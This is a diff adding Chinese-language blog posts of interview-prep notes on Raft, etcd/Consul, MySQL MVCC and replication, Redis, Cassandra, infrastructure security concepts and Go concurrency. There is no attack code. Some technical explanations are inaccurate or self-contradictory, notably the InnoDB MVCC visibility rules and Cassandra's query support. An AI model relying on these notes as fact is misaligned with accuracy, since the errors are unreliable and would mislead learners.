+如果多个候选者同时开始选举,可能**没有候选者能获得多数的票数**。如果发生这种情况,选举将失败并很快重新开始。由于每个候选者的**选举超时时间**是随机的,所以很少会有多次连续的冲突。 + + +> 日志复制: + +> 描述Raft中的日志复制过程。领导者如何确保所有的跟随者都复制了相同的日志条目? + +当领导者收到客户端的写请求时,它首先将日志条目添加到自己的日志中。然后,它发送AppendEntries消息给其他所有的Follower来复制这个日志条目。当日志条目被多数的节点复制时,这个日志条目就被认为是提交的。 + +> 当跟随者落后或日志不一致时,领导者应该如何处理? + +领导者会保存每个Follower的日志信息。如果发现Follower的日志与领导者不一致,它会找到最后一致的日志条目,然后发送所有之后的日志条目给这个Follower。 + +> 持久性与安全性: + +> 在Raft中,为什么节点在投票或添加日志之前需要首先持久化其状态? + +持久化状态(如日志条目和任期信息)是为了在节点重启后能保持和集群中的其他节点一致性,避免数据丢失或冲突。 + +> 如果某个节点的数据损坏或丢失,该如何恢复? + +如果某个节点的数据损坏,它应该从领导者重新同步日志。在Raft协议中,领导者总是有最新的数据,因此可以作为数据源来同步其他的节点。 + +> etcd和Consul的应用: + +> 除了使用Raft实现一致性外,etcd和Consul在设计上还有哪些特点? + +etcd提供了一个键值存储系统,它常被用作Kubernetes的配置中心。Consul除了键值存储外,还提供了服务发现和健康检查的功能。 + +etcd: +它是一个强一致性的键值存储系统,常被用作Kubernetes的配置中心。 +提供了对于TTL(Time To Live)的原生支持,这对于服务发现非常有用。 +提供了多版本并发控制 (MVCC) 功能,允许查询旧版本的数据。 + +Consul: +除了键值存储外,Consul提供了服务发现和健康检查功能。 +支持多数据中心,非常适合大规模的基础架构。 +提供了一个功能丰富的UI,允许运维人员查看和修改服务和键值信息。 + + +- 安装 Consul + +首先,需要从Consul的官方网站下载合适的二进制文件。在Linux系统上,可以使用以下命令下载并解压: + +```bash +wget https://releases.hashicorp.com/consul/1.10.1/consul_1.10.1_linux_amd64.zip +unzip consul_1.10.1_linux_amd64.zip +sudo mv consul /usr/local/bin/ +``` + +Consul的使用: + +- 启动Consul agent + +为简单起见,我们将在开发模式下启动Consul,这对于学习和开发很有用: +```bahs +consul agent -dev +``` + +- 使用Consul的KV存储 + +通过Consul的HTTP API或UI来操作KV存储。 + +使用HTTP API: + +设置键值: + +```bash +curl -X PUT -d 'Hello Consul' http://localhost:8500/v1/kv/mykey +``` +查询键值: + +```bash +curl http://localhost:8500/v1/kv/mykey?raw +``` +使用UI: + +打开浏览器并访问 `http://localhost:8500/ui`。在这里,可以看到一个直观的界面来管理键值对。 + +1. 服务发现 + +为了展示服务发现的功能,我们可以注册一个服务。创建一个名为 web-service.json 的文件,并填充以下内容: + +```json + +{ + "ID": "web1", + "Name": "web", + "Tags": ["rails"], + "Address": "127.0.0.1", + "Port": 80, + "Check": { + "HTTP": "http://localhost:80/", + "Interval": "10s" + } +} +``` +然后,使用以下命令注册服务: + +```bash +curl --request PUT --data @web-service.json http://localhost:8500/v1/agent/service/register +``` + +- 健康检查 + +在上面的服务定义中,我们已经为服务定义了一个HTTP健康检查,它将每10秒检查一次` http://localhost:80/`。如果服务健康,它会出现在Consul的UI中,而且状态为绿色。如果有问题,它会变为红色。 + + +Consul的多数据中心: + +在大型的企业和组织中,为了业务的高可用性、灾备和客户访问速度等因素,通常会在多个地理位置(例如,美国、欧洲、亚洲)设立数据中心。这些数据中心间可能需要进行某些级别的数据和服务交互。Consul的多数据中心支持意味着可以在每个数据中心都运行一个Consul集群,但它们之间可以互相感知、交互和共享一些关键信息。 + + +服务发现跨数据中心 - 如果一个数据中心的服务失败了,客户端可以发现并使用其他数据中心的服务。 +网络效率 - 当本地数据中心的服务可用时,客户端通常首选本地数据中心,只在必要时才切换到远程数据中心。 +简化配置 - 不需要为每个数据中心设置单独的服务发现和配置工具。 + + +初始化 - 当在纽约的数据中心启动Consul时,可以将其配置为"纽约"数据中心,并告诉它如何找到伦敦和新加坡的数据中心。 +服务注册 - 在纽约的数据中心有一个名为"web-api"的服务,它在伦敦的数据中心也有一个备份或同类服务。 +服务发现 - 当纽约的应用程序需要"web-api"服务时,Consul首先会在纽约的数据中心寻找这个服务。如果这个服务在纽约出现问题,Consul会知道伦敦数据中心也有这个服务,并可以将请求路由到那里。 +跨数据中心的健康检查 - 可以配置健康检查,不仅仅检查本地数据中心的服务,而且还可以检查远程数据中心的服务。 + + +> 如何看待etcd与Consul的性能和使用场景上的差异? + +etcd 通常被视为Kubernetes的最佳伴侣,主要因为它为Kubernetes提供了强一致性配置存储。当涉及到K8s集群的状态管理和服务发现时,etcd通常是首选。 +Consul 则更像是一个全能的工具,它提供了服务发现、健康检查和多数据中心支持。因此,对于需要这些功能和想要一个集成的解决方案的组织来说,Consul可能是一个更好的选择。 +从性能的角度来看,具体的差异会基于工作负载、集群大小和网络条件。但在大多数常见的使用场景下,两者的性能都是可接受的。 + +> 与Paxos相比,Raft有哪些优点和缺点? + +与Paxos相比,Raft有哪些优点和缺点? + +优点: +简单性:Raft的设计目标之一是使得算法更容易理解,这使得它相对容易实现。 +更好的文档:Raft的论文非常详细,并专注于提供直观的理解。 +缺点: +在某些特定的场景和配置下,Paxos可能会比Raft更高效,尤其是在高冲突的环境下。 + +> 为什么许多现代系统选择Raft作为其一致性算法,而不是Paxos? + +Raft提供了与Paxos相同级别的安全性和效率,但其更简单、更直观的设计使得开发者更容易实现和维护。而Paxos,尽管同样强大,却因为它的复杂性而被认为难以正确实现。 + +> 实际操作与故障排除: + +> 如果在etcd或Consul群集中,一个节点长时间未响应,会发生什么?如何诊断和解决这种问题? + +如果一个节点长时间未响应,Raft协议会确保集群继续工作,只要大多数节点仍然可用。该节点可能会被视为“下线”,并不再参与到集群的决策中。 +诊断可以从查看节点的日志开始,检查是否有网络问题或硬件故障。使用etcdctl或Consul的CLI和UI工具可以帮助确定集群的状态和问题所在。 +解决问题可能包括重启节点、解决网络问题或恢复硬件。 + +> 请描述一次在生产环境中遇到的与Raft或etcd/Consul相关的问题,以及是如何解决的。 + + +问题诊断: + +我首先查看了etcd集群的健康状态。使用etcdctl cluster-health发现其中一个节点是不健康的。 +通过查看该节点的日志,我发现了大量与"election lost"相关的日志条目,表明该节点试图成为领导者,但没有成功。 + +进一步的网络诊断显示,由于网络分区(网络闪断或短暂的连接问题),该节点与其他etcd节点之间的通信中断。 +解决办法: + +我首先尝试重启有问题的etcd节点,看是否能自动恢复。 +在节点重启后,问题仍然存在。考虑到可能是持久化的数据问题,我决定从集群中移除这个有问题的节点,并添加一个新的节点。 +为了避免未来的网络问题,我加强了我们的网络监控和警报,确保及时发现并解决类似的问题。 + +## 数据库知识 + + +> MySQL: + +存储引擎: MySQL支持多种存储引擎,如InnoDB、MyISAM等。InnoDB支持事务处理,有行级锁定,支持外键;而MyISAM不支持事务。 + +查询优化:通过使用索引、执行计划,可以有效优化查询速度。EXPLAIN命令可以帮助理解查询的执行路径。 + +事务处理: InnoDB支持ACID事务特性,保证数据的一致性、完整性。 + + +> 数据库: + +存储机制:以多版本并发控制(MVCC)方式处理数据,有利于多用户并发操作。 + +查询优化:提供了索引(包括JSON字段)、物化视图等,还有强大的查询优化器。 + +事务处理:支持ACID事务特性,可以处理复杂的事务需求。 + + +> MySQL的InnoDB存储引擎中MVCC的实现: + +Undo日志 +MVCC通过使用Undo日志实现。当一行数据被修改时,InnoDB会保存这行数据修改前的副本。新数据会被直接更新到表中,而旧数据则保存在Undo日志中。这样,当其他事务需要访问该行数据的旧版本时,它们可以直接从Undo日志中读取。**(当事务需要读取数据但最新版本的数据对该事务不可见时(由于隔离级别或事务时间戳等原因),它会从Undo日志中读取相应的旧版本。)** + +读取视图(Read View) +为了确定某个事务中可以看到哪些数据版本,InnoDB为每个事务生成一个称为“读取视图”的结构。读取视图记录了哪些事务在该事务开始之后是活动的,因此它们修改的数据版本对当前事务是不可见的。 + + +低限事务ID (low_limit_id): 这是读取视图创建时活动事务中的最大事务ID。这个ID之后开始的事务都是对当前事务不可见的。 + +上限事务ID (up_limit_id): 这是读取视图创建时活动事务中的最小事务ID。比这个ID更早的已完成事务的更改都被认为是持久化的,并且对当前事务是可见的。 + +事务ID数组 (trx_ids): 这是一个列表,包含在读取视图创建时正在进行的所有事务的事务ID。这些事务的更改对当前事务是不可见的。 + +当事务需要决定一个数据行是否可见时,它会使用读取视图进行以下检查: + +如果行的创建版本号大于低限事务ID,则该行对事务不可见。 +如果行的创建版本号小于上限事务ID或属于事务ID数组,则该行对事务可见。 +如果行的删除版本号定义了并且小于低限事务ID,则该行对事务不可见。 +如果行的删除版本号定义了并且大于上限事务ID或属于事务ID数组,则该行对事务可见。 + +系统版本号和事务版本号 +InnoDB为每个新事务分配一个递增的事务ID,每行数据也都有两个额外的系统版本号:创建版本号和删除版本号(对于活动的行,删除版本号是未定义的)。创建版本号:当一行数据被插入或更新时,它的创建版本号被设置为进行该操作的事务的事务ID。这意味着这一行是由这个特定事务创建或最后更新的。删除版本号:当一行数据被删除时,它的删除版本号被设置为执行删除操作的事务的事务ID。这意味着这一行数据被这个特定事务标记为删除。 + + + + +1. 读取的隔离性 +由于MVCC的这种机制,不同的事务可以看到同一行数据的不同版本,这保证了每个事务都能看到一个一致的数据视图,从而实现了各种隔离级别下的并发控制。例如,在“可重复读”隔离级别下,事务在其整个生命周期中总是看到数据的一个一致的版本,即使其他事务在此期间对数据进行了修改。 + +1. 垃圾收集 +随着时间的推移,Undo日志中的旧数据版本可能不再被任何事务所需要。InnoDB有一个背景进程会周期性地检查和清除这些不再需要的旧版本数据,以回收存储空间。 + +总之,通过保存数据的多个版本,并为每个事务提供一个一致的数据视图,MVCC允许多个读写事务并发执行,而不会相互阻塞,从而提供了高性能的并发控制。 + +InnoDB 的 MVCC(多版本并发控制)实现确实使用了创建版本号和删除版本号来支持非阻塞读取和一致性视图,但这些版本号并不是直接存储在用户可见的表空间中。因此,当您执行常规的 SELECT 查询时,您不会看到这些版本号。 + + +> 按照数据在binlog中的记录方式把被封分类-基于语句的复制,基于行的复制 + + +> 按照数据在binlog中的记录方式把备份分类-按照数据传输和数据一致性 + +异步复制 (Asynchronous Replication):这是MySQL主从复制的默认模式。在这种模式下,主服务器上的事务一旦提交,就会立即返回给客户端,而不等待数据被复制到从服务器。这种方式的好处是低延迟和高吞吐量,但缺点是在主服务器出现故障时,数据可能还没被复制到从服务器,导致数据丢失。 + +半同步复制 (Semi-Synchronous Replication):在这种模式下,主服务器会等待至少一个从服务器确认已经接收到了数据更改,然后才返回给客户端。这样确保了在主服务器出现故障时,至少有一个从服务器已经拥有最新的数据,降低了数据丢失的风险。然而,由于需要等待从服务器的确认,这会增加一些延迟。 + +同步复制 (Synchronous Replication):在这种模式下,主服务器会等待所有的从服务器都确认接收到数据更改后才返回给客户端。这意味着所有的复制服务器都有完全相同的数据,确保了数据的一致性。但是,这种方法会大大增加延迟,因为需要等待所有从服务器的响应,而且对于跨地域的复制会有显著的性能影响。 + + +**异步复制 (Asynchronous Replication)** + +这是MySQL的默认模式,无需进行特殊配置。只需按照标准的主从复制配置即可。 + +**半同步复制 (Semi-Synchronous Replication)** + +为了启用半同步复制,需要进行以下配置: + +在主服务器和从服务器上安装半同步插件: + +```sql +INSTALL PLUGIN rpl_semi_sync_master SONAME 'semisync_master.so'; +INSTALL PLUGIN rpl_semi_sync_slave SONAME 'semisync_slave.so'; +``` +在my.cnf或my.ini文件中,对于主服务器: + +```ini +[mysqld] +rpl_semi_sync_master_enabled = 1 +``` +对于从服务器: + +```ini +[mysqld] +rpl_semi_sync_slave_enabled = 1 +``` +重新启动MySQL服务器以使设置生效。 + +**同步复制 (Synchronous Replication)** + +注意:MySQL本身并不直接支持完全的同步复制,但可以通过Galera Cluster或其他第三方解决方案来实现。 + +对于MySQL,可以使用Galera Cluster实现同步复制。配置Galera Cluster比较复杂,需要进行以下几个主要步骤: + +```ini +[mysqld] +binlog_format=ROW +default-storage-engine=innodb +innodb_autoinc_lock_mode=2 +bind-address=0.0.0.0 + +# Galera Provider Configuration +wsrep_on=ON +wsrep_provider=/usr/lib/galera/libgalera_smm.so + +# Galera Cluster Configuration +wsrep_cluster_name="test_cluster" +wsrep_cluster_address="gcomm://" + +# Galera Node Configuration +wsrep_node_address="node1" +wsrep_node_name="node1" + +# Galera Synchronization Configuration +wsrep_sst_method=rsync +``` + +```ini +[mysqld] +binlog_format=ROW +default-storage-engine=innodb +innodb_autoinc_lock_mode=2 +bind-address=0.0.0.0 + +# Galera Provider Configuration +wsrep_on=ON +wsrep_provider=/usr/lib/galera/libgalera_smm.so + +# Galera Cluster Configuration +wsrep_cluster_name="test_cluster" + +wsrep_cluster_address="gcomm://node1" +wsrep_node_address="node2" +wsrep_node_name="node2" + +wsrep_sst_method=rsync + +``` + +```ini +[mysqld] +binlog_format=ROW +default-storage-engine=innodb +innodb_autoinc_lock_mode=2 +bind-address=0.0.0.0 + +# Galera Provider Configuration +wsrep_on=ON +wsrep_provider=/usr/lib/galera/libgalera_smm.so + +# Galera Cluster Configuration +wsrep_cluster_name="test_cluster" + +wsrep_cluster_address="gcomm://node1" +wsrep_node_address="node3" +wsrep_node_name="node3" + +wsrep_sst_method=rsync +``` + +```shell +docker run --name node1 --network=galera_network -e MYSQL_ROOT_PASSWORD=rootpass -v ./galera-node1.cnf:/etc/mysql/mariadb.conf.d/galera.cnf -d mariadb:10.4 --wsrep-new-cluster +docker run --name node2 --network=galera_network -e MYSQL_ROOT_PASSWORD=rootpass -v ./galera-node2.cnf:/etc/mysql/mariadb.conf.d/galera.cnf -d mariadb:10.4 +docker run --name node3 --network=galera_network -e MYSQL_ROOT_PASSWORD=rootpass -v ./galera-node3.cnf:/etc/mysql/mariadb.conf.d/galera.cnf -d mariadb:10.4 +``` + +```shell +docker exec -it node1 mysql -uroot -prootpass -e "SHOW STATUS LIKE 'wsrep_cluster_size';" +``` +不同的复制模式有不同的适用场景,选择最适合的复制模式需要考虑数据一致性需求、延迟、吞吐量以及系统复杂性等因素。 + + +> NoSQL数据库的理解 + +Redis: +特点: 内存中键值存储,提供数据持久化功能。 +适用场景: 适用于需要快速读写的场景,如缓存、会话存储。 + +> Redis如何做缓存以及会话存储? + +> Redis作为缓存: +原理: +Redis的内存数据结构存储能力使其成为一个非常快速的存储系统,读写速度都非常快。这是因为所有数据都存储在内存中,并且Redis使用了高效的数据结构。 + +实践: + +设置缓存:当应用程序需要缓存某些数据时(例如从数据库检索的结果),它可以先检查Redis中是否已有这些数据。如果没有,则从原始数据源检索数据,然后将数据放入Redis,并为其设置一个到期时间(TTL)。 +获取缓存:当应用再次需要这些数据时,它首先会检查Redis。如果数据在Redis中并且未过期,应用可以直接从中读取,从而避免了向原始数据源的昂贵查询。 +数据失效:通过设置TTL,旧的或不再需要的缓存数据会在一段时间后自动从Redis中删除,这样可以确保数据的相对新鲜性并释放内存空间。 + +> Redis作为会话存储: + +原理: +由于会话数据(例如用户登录状态、购物车内容、个人化设置等)通常需要快速读写,而且这些数据的生命周期通常与会话的生命周期相匹配,所以Redis是存储这些数据的理想选择。 + +实践: + +会话创建:当用户登录或开始一个新的会话时,应用程序可以在Redis中创建一个新的记录,并使用唯一的会话ID作为键。 +会话数据存取:在用户的会话过程中,应用程序可以快速地向Redis中的该会话ID对应的记录中添加、更新或删除数据。 +会话结束:当用户注销或会话超时时,应用程序可以从Redis中删除该会话ID及其相关的数据。 +持久性和备份:虽然会话数据通常是临时的,但在某些情况下,可能需要保留或备份这些数据。Redis提供了不同的持久性选项,如RDB快照和AOF日志,可以根据需要选择合适的持久性策略。 + +> Cassandra相关知识 + +特点: 分布式、可扩展的NoSQL数据库,提供高可用性。 +适用场景: 大规模数据存储,需要地理分布的场景。 + +> 基础知识: +Apache Cassandra的主要特点: +分布式:可以水平扩展,没有单点故障。 +支持高可用性和容错性。 +列存储:适合写重型负载。 +可调整的一致性模型。 +支持复杂的查询。 + +> 保证高可用性和故障恢复: + +数据在多个节点上进行复制,以防止任何节点故障。 +Gossip协议用于节点发现和故障检测。 +支持跨数据中心的复制,为地理冗余提供支持。 + +分区键和聚合键的区别: +分区键:确定数据在哪个节点上存储。 +聚合键:在给定的分区中确定数据的排序。 + +定义复合主键: + +使用分区键和一个或多个聚合键来定义。例如:PRIMARY KEY((partition_key), clustering_key1, clustering_key2) + +Cassandra数据模型与RDBMS的不同: +Cassandra使用列式存储,而传统的RDBMS使用行存储。 +Cassandra不支持全表连接或复杂的多表连接。 +数据模型设计是基于查询,而不是基于表结构。 + +架构和设计: + +Cassandra的架构: +对等的节点架构,没有中心节点。 +使用Gossip协议进行节点间通信。 +数据分区并在多个节点上进行复制以保证冗余。 + +Gossip协议: +一种节点之间的通信协议,用于数据交换和故障检测。 +Cassandra使用它来发现可用节点和不可用节点。 +一致性级别: +ONE:至少一个节点确认。 +QUORUM:多数节点确认。 +ALL:所有节点确认。 +可以根据需要调整一致性级别来平衡性能和数据可靠性。 +读写路径和写放大: +写操作首先写入CommitLog和Memtable。当Memtable满时,它被刷新到SSTable。 +写放大是指一个写操作导致多个实际的磁盘写入操作。 +SSTables与Memtables: +Memtable是内存中的数据结构,存储最近的写操作。 +SSTable是持久化的不可变的磁盘文件,代表了Memtable的一个快照。 +高级主题: +数据去重: +Cassandra使用时间戳来确定列值的版本。新的写操作将覆盖旧的值。 +Hinted Handoff: + +当目标节点不可用时,另一个节点将保存该数据,并在目标节点恢复时将其传递给它。 +AP系统和CA特性: + +根据CAP定理,Cassandra被认为是偏向可用性和分区容错性的AP系统。但在特定的配置下,例如使用ALL的一致性级别,它可能更接近CA。 +修复过程: + +使用nodetool repair进行数据同步和修复,确保数据在所有副本之间是一致的。 +不支持跨行事务: + +Cassandra的设计目标是高可用性和水平扩展,这与跨行事务的ACID属性相冲突。 +性能和优化: +写入性能优化: + +调整Memtable和CommitLog的配置。 +使用合适的压缩和合并策略。 +考虑查询模式: + +在Cassandra中,数据模型设计是基于查询,而不是基于表结构。通常先确定查询,然后创建满足这些查询的数据模型。 +Bloom Filter: + +是一个空间效率的数据结构,用于测试一个元素是否是一个集合的成员,用于SSTables检查键是否存在。 +节点崩溃或性能下降: + +检查系统和GC日志。 +使用nodetool进行状态和性能检查。 +检查磁盘使用情况和网络问题。 +实际经验和操作: +Cassandra相关问题: + +曾经遇到一个由于Java堆溢出引起的节点崩溃。通过增加JVM堆大小并调整GC设置来解决。 +工具和库: + +使用过nodetool进行集群管理,cqlsh进行查询,以及Cassandra Java驱动进行应用开发。 +Lightweight Transactions: + +是Cassandra中的条件更新,它们提供线性一致性。 +备份和恢复数据: + +使用nodetool snapshot进行备份,可以通过sstableloader或cqlsh进行数据恢复。 +**监控和管理 + + +MongoDB: +特点: 文档存储,支持JSON-like的数据格式。 +适用场景: 当数据结构变化频繁时非常有用,例如,产品目录、内容管理系统等。 + + +NewSQL数据库的概念和特点 +NewSQL数据库是一类关系数据库管理系统,旨在提供可扩展的性能和ACID保证,与传统关系型数据库一样,但也具有能够匹配NoSQL系统的横向扩展性。 + +特点: + +可扩展性: 提供和NoSQL相似的水平扩展能力。 +关系模型: 依然使用关系模型,支持SQL查询。 +完整事务支持: 提供完整的ACID事务特性。 +一致性: 既能提供强一致性也能提供最终一致性,视具体实现和配置而定。 + + +MYSQL的MVCC到底怎么实现的? + +MVCC(多版本并发控制)是一种允许数据库在高并发情况下提供高性能读取的机制,它在多数流行的关系型数据库管理系统中,如MySQL的InnoDB存储引擎和PostgreSQL中,都有实现。MVCC允许数据的读取与写入操作在没有互相阻塞的情况下并发执行。 + +下面是MySQL的InnoDB存储引擎中MVCC的实现概述: + +1. Undo日志 +MVCC通过使用Undo日志实现。当一行数据被修改时,InnoDB会保存这行数据修改前的副本。新数据会被直接更新到表中,而旧数据则保存在Undo日志中。这样,当其他事务需要访问该行数据的旧版本时,它们可以直接从Undo日志中读取。 + +1. 读取视图(Read View) +为了确定某个事务中可以看到哪些数据版本,InnoDB为每个事务生成一个称为“读取视图”的结构。读取视图记录了哪些事务在该事务开始之后是活动的,因此它们修改的数据版本对当前事务是不可见的。 + +1. 系统版本号和事务版本号 +InnoDB为每个新事务分配一个递增的事务ID,并为每次插入或更新操作分配一个递增的系统版本号。每行数据也都有两个额外的系统版本号:创建版本号和删除版本号(对于活动的行,删除版本号是未定义的)。 + +当事务想要读取一行数据时,它会检查该行的创建版本号和删除版本号以确定是否可以看到这个版本的数据: + +如果行的创建版本号大于事务的版本号,则该行在事务开始后创建,因此对事务不可见。 +如果行的删除版本号已定义且小于或等于事务的版本号,则该行在事务开始之前就已被删除,因此对事务不可见。 +4. 读取的隔离性 +由于MVCC的这种机制,不同的事务可以看到同一行数据的不同版本,这保证了每个事务都能看到一个一致的数据视图,从而实现了各种隔离级别下的并发控制。例如,在“可重复读”隔离级别下,事务在其整个生命周期中总是看到数据的一个一致的版本,即使其他事务在此期间对数据进行了修改。 + +5. 垃圾收集 +随着时间的推移,Undo日志中的旧数据版本可能不再被任何事务所需要。InnoDB有一个背景进程会周期性地检查和清除这些不再需要的旧版本数据,以回收存储空间。 + +总之,通过保存数据的多个版本,并为每个事务提供一个一致的数据视图,MVCC允许多个读写事务并发执行,而不会相互阻塞,从而提供了高性能的并发控制。 + + + diff --git a/_posts/2023-10-8-test-markdown.md b/_posts/2023-10-8-test-markdown.md new file mode 100644 index 000000000000..d56f41b83c6d --- /dev/null +++ b/_posts/2023-10-8-test-markdown.md @@ -0,0 +1,976 @@ +--- +layout: post +title: 基础架构 +subtitle: +tags: [基础架构] +--- + +## 计算 + +#### 虚拟化技术 + +**虚拟化技术**:我熟悉如VMware, KVM和Hyper-V等虚拟化技术,了解其工作原理和如何进行资源隔离。 + + +#### 容器化和编排 + +**容器化和编排**:我对Docker和Kubernetes有深入的使用经验,包括微服务部署、网络策略和状态管理。 + + +## 存储 + +**块存储与对象存储**:了解SAN、NAS的原理,以及对象存储如S3和Ceph的使用和性能优化。 + +**数据库系统**:熟悉关系型数据库如MySQL, PostgreSQL和非关系型数据库如MongoDB, Redis的架构和最佳实践。 + + +关系型数据库 +代表:MySQL, PostgreSQL + +架构: + +基于表的结构,表与表之间可以通过键关联。 +使用SQL(结构化查询语言)进行查询。 +支持ACID事务性质(原子性、一致性、隔离性、持久性)。 +最佳实践: + +规范化:将数据结构分解为较小的表以消除数据冗余。 +备份:定期创建数据库备份。 +索引:为常用查询的列创建索引以加速检索。 +安全:限制对数据库的直接访问,使用存储过程和参数化查询。 +非关系型数据库 +代表: + +MongoDB:一个文档型数据库。 +Redis:一个键值存储。 +架构: + +MongoDB:基于文档的结构,每个文档可以有不同的结构。文档组织在集合中。 +Redis:存储键值对,其中值可以是字符串、列表、集合、哈希或其他数据类型。 +最佳实践: + +数据模型: +对于MongoDB,设计文档以反映应用中的对象和查询模式。 +对于Redis,选择正确的数据类型来存储信息。 +持久性: +MongoDB支持多种持久化策略,可以调整为特定的应用需求。 +Redis可以配置为定期将数据写入磁盘或仅作为缓存使用。 +扩展性:考虑如何分布数据以支持大规模操作。 +MongoDB支持分片来分散数据。 +Redis可以通过主从复制和分区进行扩展。 + +## 网络 + + +**网络拓扑**:理解不同的网络架构如星形、总线、环形和网格。 + + +**负载均衡与CDN**:熟悉L4、L7负载均衡技术,以及CDN的内容分发机制。 + +L4负载均衡(四层负载均衡): +基于网络层或传输层(TCP/UDP)进行负载均衡。 +主要根据源IP地址、目标IP地址、源端口和目标端口来决定如何分发流量。 +通常速度较快,因为它不需要查看数据包的内容。 + +L7负载均衡(七层负载均衡): + +基于应用层(如HTTP/HTTPS)进行负载均衡。 +可以根据HTTP头、URL结构、或其他应用级信息来决定如何路由流量。 +允许更复杂的负载均衡策略,如基于内容的路由、HTTP头部的路由等。 + +CDN (内容分发网络) + +CDN的目标是将内容缓存到距离终端用户最近的位置,从而加速内容的传输速度。 + +CDN的工作原理: + +当用户第一次请求某个资源(例如一个图片或视频)时,请求会被路由到CDN的原始服务器。 +CDN将该资源缓存到一个或多个边缘服务器上。 +当其他用户请求相同的资源时,CDN会根据多种因素(如地理位置、带宽、服务器健康状况等)将请求路由到最佳的边缘服务器。 +通过这种方式,CDN能够大大减少延迟,提供更快速的内容加载时间,同时减轻原始服务器的负担。 + +## 安全 + + +> **身份验证与授权**:理解OAuth, JWT等身份验证技术和RBAC的授权模型。 + +> OAuth + +OAuth是一个开放标准,用于授权。允许应用A访问用户在应用B上的信息,而不需要告诉应用A用户密码。 + +工作流程: + +用户尝试登录第三方应用。 +应用请求授权服务器的权限。 +用户在授权服务器上登录并同意给予第三方应用访问权限。 +授权服务器返回一个授权码到第三方应用。 +应用使用授权码请求访问令牌。 +授权服务器验证并返回访问令牌。 +该令牌然后被用来访问受保护的资源。 + +> JWT (JSON Web Token) +JWT是一个用于在两方之间传递信息的开放标准。信息经过签名,可以验证和信任。 + +结构: + +Header:包含令牌的类型和签名算法。 +Payload:包含声明(如用户ID、角色等)。 +Signature:确保令牌未被篡改。 + +应用场景通常是在服务之间进行身份验证和信息交换。 + + +> RBAC (Role-Based Access Control) +RBAC就是:给角色分配权限,再把用户分配到这些角色。用户通过角色获得权限,而不是直接获得。 + +主要组件: + +User:系统的最终用户。 +Role:定义了一组访问权限的集合。例如,“管理员”或“编辑”。 +Permission:访问特定资源的能力。例如,“读”或“写”。 + +> **网络安全**:熟悉防火墙、IDS/IPS和WAF的配置和策略。 + + + +防火墙 (Firewall) +定义:防火墙是一种网络安全系统,用于监控并过滤进出网络的流量。 + +配置和策略: + +访问控制列表 (ACL):定义哪些流量可以进入或离开网络。 +端口控制:允许或拒绝特定端口的流量。 +NAT (网络地址转换):转换公共IP地址和私有IP地址之间的流量。 + + + +IDS/IPS (入侵检测系统/入侵预防系统) +定义: + +IDS:监测网络流量以寻找任何可疑活动,并在检测到时提供警报。 +IPS:除了检测外,还会采取行动阻止或减轻攻击。 +配置和策略: + +签名规则:定义已知攻击模式的规则。 +异常检测:学习正常流量模式并警告异常。 +策略调整:定义应对检测到的威胁的反应。 + +WAF (Web应用防火墙) +定义:专门为了保护Web应用程序而设计的防火墙,监控并过滤HTTP流量。 + +配置和策略: + +黑/白名单:指定允许或拒绝的IP地址或URL。 +输入验证:防止如SQL注入、跨站脚本(XSS)的攻击。 +会话保护:防止会话劫持或欺骗。 +速率限制:减缓或阻止DDoS攻击。 + + +## 监控和运维 + +1. **日志管理**:了解如何使用ELK Stack(Elasticsearch, Logstash, Kibana)进行日志聚合和分析。 +2. **性能监控**:熟悉如Prometheus和Grafana等监控工具,用于实时监控系统性能和健康状况。 + + + + +## 其他 + +> 在Go中,协程之间的通讯方式有几种? + +Channels:这是Go中最常见的协程间通讯方法。Channel是一个通讯对象,可以让一个协程发送数据并让另一个协程接收数据。 + +使用make(chan Type)来创建一个新的channel。 + +使用<-操作符发送和接收数据。 + +```go +ch := make(chan int) +go func() { + ch <- 42 // send data +}() +value := <-ch // receive data +``` + +共享内存:协程可以访问共享变量,但这需要使用同步原语,如互斥量(mutex),来确保并发访问时的数据安全。 + +```go +var counter int +var mu sync.Mutex + +go func() { + mu.Lock() + counter++ + mu.Unlock() +}() + +``` + +sync/atomic 包:为了简化某些并发操作,Go提供了一个atomic包,可以执行原子操作,例如增加、减少、加载、存储等。 + + +sync/atomic 包:为了简化某些并发操作,Go提供了一个atomic包,可以执行原子操作,例如增加、减少、加载、存储等。 + +```go +var counter int32 + +go func() { + atomic.AddInt32(&counter, 1) +}() +``` + +Select语句:用于在多个channel操作中执行一个操作。它可以用于同时从多个channel接收数据,或者从多个channel中选择一个来发送数据。 + +```go +select { +case msg1 := <-ch1: + fmt.Println("Received", msg1) +case msg2 := <-ch2: + fmt.Println("Received", msg2) +case ch3 <- 3: + fmt.Println("Sent 3 to ch3") +default: + fmt.Println("No communication") +} +``` + +sync.WaitGroup:允许等待一组协程完成。 + + +共享内存: + +协程通过共享内存来交换数据。这意味着多个协程可以同时访问相同的内存位置,因此需要同步和互斥来避免数据竞争。 +对应上面的:共享内存、sync/atomic 包和互斥量(mutex)。 + +消息传递: +协程不直接共享内存,而是通过发送和接收消息来交换数据。 +对应上面的:Channels 和 Select语句。 +信号量: + +信号量是一个计数器,用于控制对共享资源的并发访问。 +在上面提到的方法中,并没有直接涉及到信号量。但在Go的golang.org/x/sync/semaphore包中,提供了信号量的实现。这不是Go标准库的一部分,但是它经常被用来实现更复杂的同步场景。 + + +> 事务的性质 + +原子性(Atomicity) +原子性是指事务包含的所有操作要么全部成功,要么全部失败回滚,因此事务的操作如果成功就必须要完全应用到数据库,如果操作失败则不能对数据库有任何影响。 + +一致性(Consistency) +事务开始前和结束后,数据库的完整性约束没有被破坏。比如A向B转账,不可能A扣了钱,B却没收到。 + +隔离性(Isolation) +隔离性是当多个用户并发访问数据库时,比如操作同一张表时,数据库为每一个用户开启的事务,不能被其他事务的操作所干扰,多个并发事务之间要相互隔离。 +同一时间,只允许一个事务请求同一数据,不同的事务之间彼此没有任何干扰。比如A正在从一张银行卡中取钱,在A取钱的过程结束前,B不能向这张卡转账。 + +持久性(Durability) +持久性是指一个事务一旦被提交了,那么对数据库中的数据的改变就是永久性的,即便是在数据库系统遇到故障的情况下也不会丢失提交事务的操作。 + + +> 如何排查一条慢SQL + + + +**在很多数据库系统(如MySQL)中,可以开启慢查询日志功能,它会记录执行时间超过指定阈值的查询。** +检查慢查询日志: +```shell +SHOW VARIABLES LIKE 'slow_query_log'; +``` + +开启慢查询日志(如果未开启): + +```sql +SET GLOBAL slow_query_log = 'ON'; +``` +设置慢查询的时间阈值(例如,记录查询时间超过2秒的查询): + +```sql +SET GLOBAL long_query_time = 2; +``` +设置慢查询日志文件的位置(可选): + +```sql +SET GLOBAL slow_query_log_file = '/path/to/your/logfile.log' +``` + +```sql +tail -f /path/to/your/logfile.log +``` 